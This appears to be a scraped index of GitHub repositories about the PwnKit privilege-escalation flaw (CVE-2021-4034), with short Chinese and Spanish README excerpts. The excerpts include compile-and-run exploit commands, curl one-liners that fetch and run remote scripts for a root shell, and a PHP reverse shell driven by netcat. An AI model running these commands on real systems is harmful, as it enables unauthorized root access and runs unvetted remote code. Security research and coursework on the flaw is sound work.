CVE-2021-4034

CVE-2021-4034 自包含的 bash 脚本，直接运行即可攻破！ 参考 Qualys 的博文 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2021-4034

课程论文 CVE-2021-4034 PwnKit 本仓库包含关于安全漏洞 CVE-2021-4034 （又称 PwnKit ）的课程论文材料、代码示例和文档，该论文是选修模块 应用IT安全 的一部分。 摘要 本选修模块“应用IT安全”框架下的课程论文涉及于2022年1月披露的漏洞 CVE-2021-4034。受影响的是 pkexec，它是 polkit 组件中的一个 SUID Root 程序，默认安装在几乎所有主流 Linux 发行版上。这是一个 LPE（本地权限提升）漏洞，非特权本地用户可通过它获得完全 root 权限。该漏洞自 pkexec 于2009年引入以来就已存在。其高严重性...

CVE-2021-4034

CVE-2021-4034 Un exploit de escalada de privilegios de polkit de un día Simplemente ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás un shell de root inmediatamente:...

Pwnkit-CVE-2021-4034-LPE

Pwnkit - CVE-2021-4034 Escalada de Privilegios Local Probado En OS: Ubuntu 20.04 pkexec: 0.105 PoC: gcc pwnkit.c -o exploit && ./exploit Vulnerabilidad CVE: CVE-2021-4034 Componente Afectado: pkexec Tipo de Vulnerabilidad: Escalada de Privilegios Local...

pwnkit-helper

Pkexec Escalada de Privilegios Local PwnKit Exploit fuente. Si quieres saber más sobre este exploit, consulta: CVE-2021-4034 Este Helper del Exploit Funciona Bien Con Python3, Y Asegúrate de Tener Instalados los Paquetes. Hará que sea muy fácil obtener la fl4g de root, ¡BUENA SUERTE!...

CVE-2021-4034

CVE-2021-4034 PoC para PwnKit: Vulnerabilidad de escalada local de privilegios en pkexec de polkit en Python Uso git clone https://github.com/rvizx/CVE-2021-4034 cd CVE-2021-4034 python3 cve-2021-4034-poc.py Notas C : https://github.com/arthepsy/CVE-2021-4034 Solución sudo chmod 0755 /bin/pkexec...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC , polkit 0.131 Uso Probado en Arch Linux Manjaro y Axyl OS git clone https://github.com/tahaafarooq/poppy make ./poppy Exploit de creación de superusuario bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" gcc -shared...

YAPS

YAPS - Y et A nother P HP S hell 是的，正如其名，这是又一个PHP反向Shell，是市面上数百个同类工具之一，但拥有一些优势。它是一个单一的PHP文件，包含所有功能，你可以通过一个简单的TCP监听器（例如 nc -lp 1337）进行控制。 在当前版本（1.5）中，其主要功能仅支持Linux系统，但我计划使其也适用于Windows。 目前它处于第一版，我尚未进行大量测试， 并且我还有很多事情打算在后续版本中完成和改进（尚未完成！ ），因此如果你发现任何bug或有功能改进的建议，请告知我。= 特性 单一PHP文件（无需安装软件包、库，或下载大量文件）...

traitor

Traitor Explota automáticamente objetivos fáciles para obtener una shell root. ¡Escalada de privilegios en Linux hecha fácil! Traitor agrupa un montón de métodos para explotar malas configuraciones y vulnerabilidades locales con el fin de obtener una shell root: Casi todos los GTFOBins docker.soc...

PwnKit-CVE-2021-4034

PwnKit-CVE-2021-4034 PoC para PwnKit-CVE-2021-4034 - Escalada local de privilegios de Pkexec...

CVE-2021-4034

CVE-2021-4034 PoC para PwnKit: Vulnerabilidad de escalada local de privilegios en pkexec de polkit CVE-2021-4034 https://seclists.org/oss-sec/2022/q1/80...

CVE-2021-4034

CVE-2021-4034 $ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" gconv-modules mkdir -p GCONVPATH=. cp /usr/bin/true GCONVPATH=./pwnkit.so:. $ ./cve-2021-4034 whoami root exit...

CVE-2021-4034

CVE-2021-4034 Este es un PoC para PwnKit Vulnerabilidad de escalada local de privilegios que fue descubierta por Qualys Security Team. El equipo de investigación de Qualys ha descubierto una vulnerabilidad de corrupción de memoria en pkexec de polkit, un programa SUID-root que está instalado por...

CVE-2021-4034

Información Exploit Title: Local Privilege Escalation in polkit's pkexec CVE-2021-4034 Date: 01/25/2022 Exploit Author: Qualys Research Team Tested on: ubuntu 20.04.1 LTS CVE ID: CVE-2021-27928 Cómo explotar Entorno de prueba： Paso 1：compila el exploit de https://github.com/berdav/CVE-2021-4034...

PwnKit

PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de privilegios local de Pkexec Uso Debería funcionar directamente en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manualmente curl...

-CVE-2021-4034

Informe de explotación de CVE-2021-4034 PwnKit Resumen oficial de evaluación de seguridad Evidencia controlada de explotación para CVE-2021-4034 con impacto documentado y orientación de remediación. Metadatos del informe Campo| Valor ---|--- ID de CVE| CVE-2021-4034 Nombre de la vulnerabilidad|...

CVE-2021-4034

CVE-2021-4034 Esto contiene un exploit de un solo archivo para cve-2021-4034, que es una escalada de privilegios local de Polkit. ¡Úsalo con sabiduría! Descripción de la vulnerabilidad CVE-2021-4034, comúnmente conocida como Pwnkit , es una vulnerabilidad de corrupción de memoria en el componente...

PwnKit-CVE-2021-4034-

PwnKit-CVE-2021-4034- Una reescritura de la vulnerabilidad de Polkit...

ubuntu-privesc-lab

ubuntu-privesc-lab Flujo de trabajo completo de pruebas de penetración: fuerza bruta de credenciales, acceso SSH y escalada de privilegios CVE-2021-4034 VISIÓN GENERAL Este proyecto demuestra un flujo de trabajo completo de pruebas de penetración contra una máquina virtual Ubuntu vulnerable. La...

CVE-2021-4034

Exploit para CVE-2021-4034 Pkexec - Escalada de Privilegios Local Solo con fines educativos y de investigación de seguridad autorizada. Autores del Exploit Original @arthepsy Descripción de la Vulnerabilidad Se encontró una vulnerabilidad de escalada de privilegios local en la utilidad pkexec de...